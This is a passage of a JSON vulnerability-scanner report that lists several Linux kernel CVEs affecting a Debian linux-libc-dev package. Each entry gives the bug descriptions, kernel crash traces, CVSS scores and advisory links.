"https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45936" ], "PublishedDate": "2026-05-27T14:17:09.74Z", "LastModifiedDate": "2026-06-24T17:10:03.263Z" }, { "VulnerabilityID": "CVE-2026-45943", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45943", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6df6cdfa84bd3ec363e2a77667c4c9cdb0f8fe29e7ed4546561847523aec9030", "Title": "kernel: erofs: fix inline data read failure for ztailpacking pclusters", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: fix inline data read failure for ztailpacking pclusters\n\nCompressed folios for ztailpacking pclusters must be valid before adding\nthese pclusters to I/O chains. Otherwise, z_erofs_decompress_pcluster()\nmay assume they are already valid and then trigger a NULL pointer\ndereference.\n\nIt is somewhat hard to reproduce because the inline data is in the same\nblock as the tail of the compressed indexes, which are usually read just\nbefore. However, it may still happen if a fatal signal arrives while\nread_mapping_folio() is running, as shown below:\n\n erofs: (device dm-1): z_erofs_pcluster_begin: failed to get inline data -4\n Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008\n\n ...\n\n pc : z_erofs_decompress_queue+0x4c8/0xa14\n lr : z_erofs_decompress_queue+0x160/0xa14\n sp : ffffffc08b3eb3a0\n x29: ffffffc08b3eb570 x28: ffffffc08b3eb418 x27: 0000000000001000\n x26: ffffff8086ebdbb8 x25: ffffff8086ebdbb8 x24: 0000000000000001\n x23: 0000000000000008 x22: 00000000fffffffb x21: dead000000000700\n x20: 00000000000015e7 x19: ffffff808babb400 x18: ffffffc089edc098\n x17: 00000000c006287d x16: 00000000c006287d x15: 0000000000000004\n x14: ffffff80ba8f8000 x13: 0000000000000004 x12: 00000006589a77c9\n x11: 0000000000000015 x10: 0000000000000000 x9 : 0000000000000000\n x8 : 0000000000000000 x7 : 0000000000000000 x6 : 000000000000003f\n x5 : 0000000000000040 x4 : ffffffffffffffe0 x3 : 0000000000000020\n x2 : 0000000000000008 x1 : 0000000000000000 x0 : 0000000000000000\n Call trace:\n z_erofs_decompress_queue+0x4c8/0xa14\n z_erofs_runqueue+0x908/0x97c\n z_erofs_read_folio+0x128/0x228\n filemap_read_folio+0x68/0x128\n filemap_get_pages+0x44c/0x8b4\n filemap_read+0x12c/0x5b8\n generic_file_read_iter+0x4c/0x15c\n do_iter_readv_writev+0x188/0x1e0\n vfs_iter_read+0xac/0x1a4\n backing_file_read_iter+0x170/0x34c\n ovl_read_iter+0xf0/0x140\n vfs_read+0x28c/0x344\n ksys_read+0x80/0xf0\n __arm64_sys_read+0x24/0x34\n invoke_syscall+0x60/0x114\n el0_svc_common+0x88/0xe4\n do_el0_svc+0x24/0x30\n el0_svc+0x40/0xa8\n el0t_64_sync_handler+0x70/0xbc\n el0t_64_sync+0x1bc/0x1c0\n\nFix this by reading the inline data before allocating and adding\nthe pclusters to the I/O chains.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45943", "https://git.kernel.org/linus/c134a40f86efb8d6b5a949ef70e06d5752209be5%20%287.0-rc1%29", "https://git.kernel.org/stable/c/237e0524a53812706e4cad30f40ef6c3213a2a92", "https://git.kernel.org/stable/c/5de1aa0bf3a5db0b3cbf61959da5ac61250833ed", "https://git.kernel.org/stable/c/92088bd9aa2a7246bba8b9648fbc64edd173cf17", "https://git.kernel.org/stable/c/9ac759f2fb20b0cc3e367ce965b7279ea3919505", "https://git.kernel.org/stable/c/ad07ea069f924465061cfee40ef2861bb99f4dd8", "https://git.kernel.org/stable/c/c134a40f86efb8d6b5a949ef70e06d5752209be5", "https://kernelcve.org/list/?q=CVE-2026-45943", "https://linux.oracle.com/cve/CVE-2026-45943.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052729-CVE-2026-45943-be8d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45943", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-45943" ], "PublishedDate": "2026-05-27T14:17:10.557Z", "LastModifiedDate": "2026-10-30T13:18:54.033Z" }, { "VulnerabilityID": "CVE-2026-45946", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45946", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:923819158017edf14013235d38ac97f6fbf7f35c0176f7d4be9a44fe0a441202", "Title": "kernel: power: supply: ab8500: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: ab8500: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nCommit 1c1f13a006ed (\"power: supply: ab8500: Move to componentized\nbinding\") introduced this issue during a refactorization. Fix this racy\nuse-after-free by making sure the IRQ is requested _after_ the\nregistration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45946", "https://git.kernel.org/linus/c4af8a98bb52825a5331ae1d0604c0ea6956ba4b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/43cbb78ee047b9b12d096d40e3be265969d4c1f8", "https://git.kernel.org/stable/c/46dbda27b028d78087667e8280966b99cec015ca", "https://git.kernel.org/stable/c/551672981fe227122258a25a385a05f5c0746ad6", "https://git.kernel.org/stable/c/709db4b476e254579d9c48ec34d397a41ca0c407", "https://git.kernel.org/stable/c/847eeb6c0efcd76c7def73857cf798a4fcd8f79b", "https://git.kernel.org/stable/c/c4af8a98bb52825a5331ae1d0604c0ea6956ba4b", "https://git.kernel.org/stable/c/f50433f2603def08b21a4bf2fd238687fb5cbde9", "https://lore.kernel.org/linux-cve-announce/2026052730-CVE-2026-45946-705a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45946", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45946" ], "PublishedDate": "2026-05-27T14:17:10.9Z", "LastModifiedDate": "2026-06-17T10:52:46.477Z" }, { "VulnerabilityID": "CVE-2026-45957", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45957", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:01cbe7c6be705f29cccebcdba962bf3a949e1102ef97344df1a588320fed328f", "Title": "kernel: rcu: Fix rcu_read_unlock() deadloop due to softirq", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu: Fix rcu_read_unlock() deadloop due to softirq\n\nCommit 5f5fa7ea89dc (\"rcu: Don't use negative nesting depth in\n__rcu_read_unlock()\") removes the recursion-protection code from\n__rcu_read_unlock(). Therefore, we could invoke the deadloop in\nraise_softirq_irqoff() with ftrace enabled as follows:\n\nWARNING: CPU: 0 PID: 0 at kernel/trace/trace.c:3021 __ftrace_trace_stack.constprop.0+0x172/0x180\nModules linked in: my_irq_work(O)\nCPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G O 6.18.0-rc7-dirty #23 PREEMPT(full)\nTainted: [O]=OOT_MODULE\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nRIP: 0010:__ftrace_trace_stack.constprop.0+0x172/0x180\nRSP: 0018:ffffc900000034a8 EFLAGS: 00010002\nRAX: 0000000000000000 RBX: 0000000000000004 RCX: 0000000000000000\nRDX: 0000000000000003 RSI: ffffffff826d7b87 RDI: ffffffff826e9329\nRBP: 0000000000090009 R08: 0000000000000005 R09: ffffffff82afbc4c\nR10: 0000000000000008 R11: 0000000000011d7a R12: 0000000000000000\nR13: ffff888003874100 R14: 0000000000000003 R15: ffff8880038c1054\nFS: 0000000000000000(0000) GS:ffff8880fa8ea000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000055b31fa7f540 CR3: 00000000078f4005 CR4: 0000000000770ef0\nPKRU: 55555554\nCall Trace:\n \u003cIRQ\u003e\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n unwind_next_frame+0x203/0x9b0\n __unwind_start+0x15d/0x1c0\n arch_stack_walk+0x62/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n unwind_next_frame+0x203/0x9b0\n __unwind_start+0x15d/0x1c0\n arch_stack_walk+0x62/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n unwind_next_frame+0x203/0x9b0\n __unwind_start+0x15d/0x1c0\n arch_stack_walk+0x62/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n __is_insn_slot_addr+0x54/0x70\n kernel_text_address+0x48/0xc0\n __kernel_text_address+0xd/0x40\n unwind_get_return_address+0x1e/0x40\n arch_stack_walk+0x9c/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n __raise_softirq_irqoff+0x61/0x80\n __flush_smp_call_function_queue+0x115/0x420\n __sysvec_call_function_single+0x17/0xb0\n sysvec_call_function_single+0x8c/0xc0\n \u003c/IRQ\u003e\n\nCommit b41642c87716 (\"rcu: Fix rcu_read_unlock() deadloop due to IRQ work\")\nfixed the infinite loop in rcu_read_unlock_special() for IRQ work by\nsetting a flag before calling irq_work_queue_on(). We fix this issue by\nsetting the same flag before calling raise_softirq_irqoff() and rename the\nflag to defer_qs_pending for more common.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45957", "https://git.kernel.org/linus/d41e37f26b3157b3f1d10223863519a943aa239b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1f16679a5aa60238466ce339c35f5e82ece60337", "https://git.kernel.org/stable/c/4a4a6e12c9c829be3f74b7206fa8640fc4e1c566", "https://git.kernel.org/stable/c/979c708e6c9d7fc461daef2dad8b45f22e23464c", "https://git.kernel.org/stable/c/c2932e16d8c354404b17123e64daa8e33191e145", "https://git.kernel.org/stable/c/d36d8a7cf0e1d52ccde290855782b7b2ffc78f63", "https://git.kernel.org/stable/c/d41e37f26b3157b3f1d10223863519a943aa239b", "https://linux.oracle.com/cve/CVE-2026-45957.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052733-CVE-2026-45957-eb03@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45957", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45957" ], "PublishedDate": "2026-05-27T14:17:12.28Z", "LastModifiedDate": "2026-10-30T13:18:54.553Z" }, { "VulnerabilityID": "CVE-2026-45972", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45972", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:958b913a79c9c855b5395e9dca08eb6a7138d4e6c92abb5a684b176f93247e5e", "Title": "kernel: smb: client: fix potential UAF and double free in smb2_open_file()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix potential UAF and double free in smb2_open_file()\n\nZero out @err_iov and @err_buftype before retrying SMB2_open() to\nprevent an UAF bug if @data != NULL, otherwise a double free.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45972", "https://bugzilla.redhat.com/show_bug.cgi?id=2481973", "https://git.kernel.org/linus/ebbbc4bfad4cb355d17c671223d0814ee3ef4eda%20%287.0-rc1%29", "https://git.kernel.org/stable/c/4d339b219004869e96c4ce56b8891f83a38da4c0", "https://git.kernel.org/stable/c/639deb962986ef2f5e2a6d5a600c66f922471e81", "https://git.kernel.org/stable/c/7425453ea16dbc3bbb0f6cac4d60b537e5e4d151", "https://git.kernel.org/stable/c/96e53bb3ee2f354cf6b4ab07bcc56e500f8b3f74", "https://git.kernel.org/stable/c/e66dcf7bb9c4df5582c82bc3582725abcbfbea73", "https://git.kernel.org/stable/c/ebbbc4bfad4cb355d17c671223d0814ee3ef4eda", "https://linux.oracle.com/cve/CVE-2026-45972.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052736-CVE-2026-45972-6b55@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45972", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45972.json", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45972" ], "PublishedDate": "2026-05-27T14:17:14.173Z", "LastModifiedDate": "2026-10-19T20:18:22.8Z" }, { "VulnerabilityID": "CVE-2026-45984", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45984", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:98fe688c0c81df7de91148623fcf745e8e4b42526355749bcee1d6c0bed90a8a", "Title": "kernel: gfs2: Fix use-after-free in iomap inline data write path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: Fix use-after-free in iomap inline data write path\n\nThe inline data buffer head (dibh) is being released prematurely in\ngfs2_iomap_begin() via release_metapath() while iomap-\u003einline_data\nstill points to dibh-\u003eb_data. This causes a use-after-free when\niomap_write_end_inline() later attempts to write to the inline data\narea.\n\nThe bug sequence:\n1. gfs2_iomap_begin() calls gfs2_meta_inode_buffer() to read inode\n metadata into dibh\n2. Sets iomap-\u003einline_data = dibh-\u003eb_data + sizeof(struct gfs2_dinode)\n3. Calls release_metapath() which calls brelse(dibh), dropping refcount\n to 0\n4. kswapd reclaims the page (~39ms later in the syzbot report)\n5. iomap_write_end_inline() tries to memcpy() to iomap-\u003einline_data\n6. KASAN detects use-after-free write to freed memory\n\nFix by storing dibh in iomap-\u003eprivate and incrementing its refcount\nwith get_bh() in gfs2_iomap_begin(). The buffer is then properly\nreleased in gfs2_iomap_end() after the inline write completes,\nensuring the page stays alive for the entire iomap operation.\n\nNote: A C reproducer is not available for this issue. The fix is based\non analysis of the KASAN report and code review showing the buffer head\nis freed before use.\n\n[agruenba: Take buffer head reference in gfs2_iomap_begin() to avoid\nleaks in gfs2_iomap_get() and gfs2_iomap_alloc().]", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-826" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:33743", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:36049", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:38902", "https://access.redhat.com/errata/RHSA-2026:51603", "https://access.redhat.com/errata/RHSA-2026:51604", "https://access.redhat.com/errata/RHSA-2026:55444", "https://access.redhat.com/errata/RHSA-2026:59142", "https://access.redhat.com/errata/RHSA-2026:59143", "https://access.redhat.com/errata/RHSA-2026:59145", "https://access.redhat.com/errata/RHSA-2026:59146", "https://access.redhat.com/errata/RHSA-2026:59147", "https://access.redhat.com/errata/RHSA-2026:59148", "https://access.redhat.com/errata/RHSA-2026:59149", "https://access.redhat.com/errata/RHSA-2026:61692", "https://access.redhat.com/errata/RHSA-2026:63189", "https://access.redhat.com/security/cve/CVE-2026-45984", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/faddeb848305e79db89ee0479bb0e33380656321%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1403989d1b502f4a2c0d0b42ccf1c25748442eff", "https://git.kernel.org/stable/c/1cae1bafdf9caa9b462b19af06b1a06902e4e142", "https://git.kernel.org/stable/c/6d76febba07c40bcf358f63216d36ea68cf1c215", "https://git.kernel.org/stable/c/764c3c84b5683e608f43735c803a5f415046686c", "https://git.kernel.org/stable/c/815ddd27c0c7171a99fe802fdb19098ddef8b19d", "https://git.kernel.org/stable/c/87d4954b5c59735a99ea98cb208d47130f6dce7d", "https://git.kernel.org/stable/c/d87268326b277af3665237ac76a73dd9fa8e21b4", "https://git.kernel.org/stable/c/faddeb848305e79db89ee0479bb0e33380656321", "https://linux.oracle.com/cve/CVE-2026-45984.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052739-CVE-2026-45984-107d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45984", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45984.json", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", 